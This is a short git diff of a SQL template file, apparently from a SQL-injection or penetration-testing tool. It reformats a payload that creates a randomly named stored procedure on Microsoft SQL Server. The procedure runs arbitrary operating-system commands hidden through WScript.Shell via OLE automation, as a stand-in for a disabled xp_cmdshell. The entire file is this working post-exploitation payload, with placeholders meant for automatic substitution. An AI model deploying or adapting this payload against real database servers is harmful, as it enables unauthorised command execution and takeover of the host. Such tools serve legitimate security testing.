diff --git a/procs/mssqlserver/create_new_xp_cmdshell.txt b/procs/mssqlserver/create_new_xp_cmdshell.txt index 684d7eb23..913f368c1 100644 --- a/procs/mssqlserver/create_new_xp_cmdshell.txt +++ b/procs/mssqlserver/create_new_xp_cmdshell.txt @@ -1,8 +1,3 @@ DECLARE @%RANDSTR% nvarchar(999); -set @%RANDSTR%=' -CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int -EXEC sp_OACreate ''WScript.Shell'',@ID OUT -EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 -EXEC sp_OADestroy @ID'; +set @%RANDSTR%='CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID'; EXEC master..sp_executesql @%RANDSTR% -